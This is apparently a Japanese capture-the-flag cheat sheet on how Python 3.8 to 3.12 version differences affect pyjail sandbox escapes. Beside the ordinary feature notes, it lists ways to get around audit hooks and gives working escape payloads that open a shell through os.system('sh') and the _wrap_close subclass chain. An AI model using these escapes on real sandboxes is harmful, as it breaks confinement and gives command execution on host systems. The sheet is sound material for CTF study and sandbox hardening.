Python Version Differences

Overview

Python バージョン間の pyjail に関連する主要な差分。

バージョン別機能

Python 3.8

audit hooks 導入 (PEP 578)
walrus 演算子 (:=) 導入
positional-only パラメータ (/)
f-string での = (デバッグ用)

# walrus
[y := x**2 for x in range(5)]

# f-string debug
x = 10
f"{x=}"  # 'x=10'

Python 3.9

辞書のマージ演算子 (|, |=)
型ヒント構文の改善
str.removeprefix(), str.removesuffix()

# 辞書マージ
d1 | d2

# removeprefix
'__class__'.removeprefix('__')  # 'class__'

Python 3.10

match 文導入 (構造的パターンマッチング)
パラメータ仕様変数
エラーメッセージ改善

# match
match x:
    case {'key': value}:
        print(value)
    case [a, b, *rest]:
        print(a, b)

Python 3.11

バイトコード大幅変更
例外グループと except*
Self 型
TOML 標準ライブラリ化

# except*
try:
    raise ExceptionGroup("", [ValueError(), TypeError()])
except* ValueError:
    pass
except* TypeError:
    pass

Python 3.12

f-string の制限緩和
型パラメータ構文
__class_getitem__ の変更

# f-string 内でバックスラッシュ許可
f"newline: {chr(10)}"

# 型パラメータ
def func[T](x: T) -> T:
    return x

サブクラスインデックスの変動

インデックス探索

for i, c in enumerate(().__class__.__bases__[0].__subclasses__()):
    print(i, c.__name__)

典型的なインデックス

クラス	3.8	3.9	3.10	3.11	3.12
`_wrap_close`	117	127	132	137	140+
`catch_warnings`	140	144	148	152	155+
`BuiltinImporter`	84	86	87	89	90+

注意: これらは参考値。実際の環境でインストール済みモジュールにより変動。

audit hooks

対象イベント

# 主要な監視イベント
'import'           # モジュールインポート
'exec'             # exec() 呼び出し
'compile'          # コードコンパイル
'eval'             # eval() 呼び出し (3.12+)
'open'             # ファイルオープン
'os.system'        # os.system()
'subprocess.Popen' # subprocess 使用

バイパス方法

方法	説明
`_posixsubprocess.fork_exec`	監視されない低レベル関数
`ctypes.CDLL(None).system`	libc 直接呼び出し
`os.posix_spawn`	一部バージョンで監視なし

バイトコードの違い

Python 3.10 以前

# 固定長命令 (2バイト)
# opcode (1byte) + arg (1byte)

Python 3.11+

# 可変長命令
# specialized instructions
# CACHE 擬似命令
# co_exceptiontable 追加

コードオブジェクトの互換性

# 3.11+ での変更
code.replace(co_consts=new_consts)  # 推奨方法

# 3.10 以前
types.CodeType(...)  # 直接コンストラクタ

セキュリティ強化

Python 3.11

バイトコードの不変化
より厳格なフレームアクセス

Python 3.12

より多くの audit イベント
一部のバイパス手法が困難に

後方互換性のないペイロード

3.10+ 限定

# match 文
match __builtins__:
    case {'eval': e}:
        e('...')

3.8+ 限定

# walrus
[x := __import__('os'), x.system('sh')]

全バージョン対応

# 基本的なサブクラスチェーン
[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__=='_wrap_close'][0].__init__.__globals__['system']('sh')

環境チェック

import sys

# バージョン確認
sys.version_info

# audit hook の有無確認
hasattr(sys, 'addaudithook')

# サブクラス数
len(object.__subclasses__())